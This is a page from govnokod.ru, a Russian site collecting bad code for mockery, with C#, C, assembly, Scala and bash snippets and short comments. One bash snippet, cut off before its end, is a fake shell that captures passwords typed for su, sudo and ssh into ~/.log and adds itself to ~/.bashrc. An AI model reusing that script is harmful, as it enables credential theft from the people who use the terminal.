- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
try
{
// some logic
}
catch(Exception ex)
{
throw;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+130.5
try
{
// some logic
}
catch(Exception ex)
{
throw;
}
Error handling :)
+130.5
if (!passFlag)
{
switch (GetTreeNodeName)
{
case "group":
{
if (GetTreeNode.Parent.Parent.Parent.Parent.Name != "StudySchedule")
{
StudentCard studentCard = new StudentCard(ExploreTree.SelectedNode.Text,
ExploreTree.SelectedNode.Parent.Parent.
Text,
ExploreView.SelectedItems[0]);
studentCard.MdiParent = this.MdiParent;
studentCard.Show();
break;
}
else
{
StudySchedule schedule=new StudySchedule(ExploreView.SelectedItems[0], ExploreTree.SelectedNode.Parent.Nodes);
schedule.MdiParent = this.MdiParent;
schedule.Show();
break;
}
}
Это мой говнокод, не знаю как строчку if (GetTreeNode.Parent.Parent.Parent.Parent .Name != "StudySchedule")
написать по-нормальному)))
+130.3
void View1(){
SaveResult1();
}
+130.2
#region C++ signatures
//long TRANS2QUIK_API __stdcall TRANS2QUIK_CONNECT (
// LPSTR lpstConnectionParamsString,
// long* pnExtendedErrorCode,
// LPSTR lpstrErrorMessage,
// DWORD dwErrorMessageSize);
#endregion
#region connect
[DllImport("TRANS2QUIK.DLL", EntryPoint = "_TRANS2QUIK_CONNECT@16",CallingConvention = CallingConvention.StdCall)]
static extern long connect(string lpcstrConnectionParamsString,ref long pnExtendedErrorCode,
byte[] lpstrErrorMessage,UInt32 dwErrorMessageSize);
public static void connect_test(bool FinalPause)
{
string path = @"D:\Квики\Quik.ТХБ2007\";
Byte[] EMsg = new Byte[50];
UInt32 EMsgSz = 50;
long ExtEC = 0, rez = -1;
rez = connect(path, ref ExtEC, EMsg, EMsgSz);
Console.WriteLine("test_q.connect_test>\t\t{0} {1} ",rez & 255, ResultToString(rez&255));
//Console.WriteLine(" ExtEC={0}, EMsg={1}, EMsgSz={2}", (ExtEC & 255), EMsg, EMsgSz);
if(FinalPause)Console.ReadLine();
}
#endregion
Юзаем функцию написанную на C++ и возвращающую тип long. После неправильного маршалинга (в C++ long это 32 бита, а не 64) отсекаем лишние биты по AND.
+130.2
#!/bin/bash
cm=""
function psw_su()
{
t=`echo $1 | tr '_' ' '`
echo -n $t
read -s ps >> ~/.log
echo "password: " >> ~/.log
#safe password to log file
echo $ps >> ~/.log
echo
sleep 4s
echo "su: incorrect password"
$cm
# exit 0
};
function zar()
{
a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
b=$0
case $a in
$b)
;;
*)
echo $0 >> ~/.bashrc
;;
esac
};
zar
while :
do
psu="Password: "
psudo="root's_password:"
ht=$HOST
un=$USER
pw=`pwd`
case $pw in
$HOME)
#tilda ~ this is home directory
pw="~"
;;
*)
esac
#string of console of shell
nm=$USER"@"$HOST":"$pw"> "
echo -n $nm
echo -n " "
#enter command
cm=""
read -e cm
# cm=$1
#switch case
case $cm in
"")
;;
#authentficate as root
"su")
psw_su $psu
;;
#authentificat as root
"su -l root")
psw_su $psu
;;
#authentificate as other user
`echo $cm | grep "su -l" | grep [A-Za-z0-9].*`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _l-_us | rev`
echo "Login: "$c2 >> ~/.log
psw_su $psu
;;
#simple sudo as authentificate as root
"sudo bash")
psw_su $psudo
;;
`echo $cm | grep ssh`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _hss | rev`
echo "loginSSH: "$c2>> ~/.log
echo -n "Password: "
read -s ps
echo $cm >> ~/.log
echo "Password SSH:"$ps >> ~/.log
sleep 2s
echo
$cm
exit 0
;;
`echo $cm | grep sudo | grep sh`)
psw_su $psudo
;;
*)
esac
echo $cm >> ~/.log
#$cm >> ~/.log
#exec command
case $cm in
"")
cm="echo -n"
;;
shell script
+130
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stat.h>
#include <conio.h>
#include <io.h>
#include <dos.h>
#include <time.h>
unsigned char kod_key;
int DIAG_F,P,R,o,u,i,i2,i3,j=0,j1,j2,i1,KPR,PNSKV,KOLS,KOLS_S,KOLS_P,KS=0,KOLT,KOLT_S,KOLT_P,MAXTM,MAXTM_S,MAXTM_P;
int F_k=0,F_PrR=0,F_N_Sv=0,K_dov,K_raz,PROZ,PROZ1,NS,NS_S,NS_P,NT_S,NT_P,NT;
long POZ,POZ1,KOLM;
float SDAT,x=0.0,v,v1,v2,DP=1.0,KK,KDAT=1.0,MS_P,MSO,MSO_P,MSO_S,MS, DS,DS_S,DS_P,MINMS,MINMS_S,MINMS_P,MAXMS,MAXMS_S,MAXMS_P,PM,PM_S,PM_P,MS_TEK;
unsigned int k=0,k1=0,k2=0;
float min,max,m[10],w2, w,w1;
clock_t t1,t2,t3,t4,t5,tc_MIN,tc_MSO;
time_t l1,l2;
struct date d;
struct time t,t_MIN,t_MSO;
int F1,F2;
union REGS rg;
//...........................
void sign()
{
i3++;
x=x+(0.00001*i3);
/*x=x+0.00244;*/
v=x;
v=(v+5)/0.00244;
v1=v/256;
v2=(int)v%256;
outportb(BASE_5710+12,v2);
outportb(BASE_5710+13,v1);
}
//...........................
K_dov=0;
kod_key=0;
d1:
while(!kod_key)
{
_AH=3;
_AL=1;
_DX=1;
geninterrupt(0x17);
kod_key=_AH;
opros();
if(MS_TEK>=2*PM)
break;
}
if(kod_key)
{
switch(kod_key)
{
case 5:
K_dov=1;
goto kon_d;
break;
default:
kod_key=0;
goto d1;
break;
}
}
if(R==1)
{
R=0;
NT++;
}
//...........................
if(kod_key)
{
switch(kod_key)
{
case 5:
K_dov=1;
goto kon_d;
break;
default:
kod_key=0;
break;
}
}
Код из реального коммерческого проекта. Все переменные объявлены глобально. Весь код в 2100 строк находится в одном файле. Комментариев нет. Внятных имён нет. Форматирования нет. Магические коэффициенты и флаги непонятных состояний повсюду. Бесконечное самоповторение. В наличии 7 функций, 2 из которых - это 85% всего кода проекта. Переходы по goto на 500 строчек в любом направлении.
+130
// Заполняем датагрид
var q = from i in currentData select new { i.IDRFData, i.IDRowData, i.Description, i.SumVal };
dgMain.DataContext = q.ToList();
// Получаем оттуда выделенный элемент
object DR = dgMain.SelectedValue;
var TypedData = Cast(DR, new
{
IDRFData = default(Guid),
IDRowData = default(Guid),
Description = default(string),
SumVal = default(double),
});
// Кстати, функция Cast делает следующее:
public static T Cast<T>(object obj, T type)
{
return (T)obj;
}
Это извращение сделано вместо того, чтобы просто создать отдельный класс для записи датагрида.
Я даже не представляю, в каком состоянии надо быть, чтобы такое написать.
+130
;Дисассемблировано "Doctor Watson" для Windows Server 2003 R2 x64
00000000`004d3f4b 2448 and al,0x48
00000000`004d3f4d 488b742440 mov rsi,[rsp+0x40]
00000000`004d3f52 418b4008 mov eax,[r8+0x8]
00000000`004d3f56 4c8b642420 mov r12,[rsp+0x20]
00000000`004d3f5b 488b5c2430 mov rbx,[rsp+0x30]
00000000`004d3f60 ffc8 dec eax
00000000`004d3f62 498d54c00c lea rdx,[r8+rax*8+0xc]
00000000`004d3f67 666690 nop
00000000`004d3f6a 666690 nop
00000000`004d3f6d 666690 nop
FAULT ->00000000`004d3f70 0fb74202 movzx eax,word ptr [rdx+0x2] ds:00000008`01511086=????
00000000`004d3f74 443bc8 cmp r9d,eax
00000000`004d3f77 440f42c8 cmovb r9d,eax
00000000`004d3f7b 66837a0400 cmp word ptr [rdx+0x4],0x0
00000000`004d3f80 7415 jz bma+0xd3f97 (00000000004d3f97)
00000000`004d3f82 488d0cc500000000 lea rcx,[00000000+rax*8]
00000000`004d3f8a 488d0449 lea rax,[rcx+rcx*2]
00000000`004d3f8e 0f181442 prefetcht1 byte ptr [rdx+rax*2]
00000000`004d3f92 4803d1 add rdx,rcx
00000000`004d3f95 ebd9 jmp bma+0xd3f70 (00000000004d3f70)
00000000`004d3f97 488bc5 mov rax,rbp
HP Data Protection Manager 6.10, Windows x86-64, NDMP Media Agent. С первым патчем (не помню номер). Падал с Access Violation.
Явно ошибка в компиляторе. Если что, в rax в этот момент было 0x00000000ffffffff.
+130
int days_in_month(int month, int year){
if(month == 2){
if(is_leap_year(year)) return 29;
else return 28;
}
if(month < 8){
if(month % 2 == 1) return 31;
else return 30;
}
if(month > 7){
if(month % 2 == 1) return 30;
else return 31;
}
return 0;
}
Количество дней в месяце. Моя первая кучка. Не судите строго ^_^
+130
List(1,2,3) + "X" == "List(1, 2, 3)X"
Скала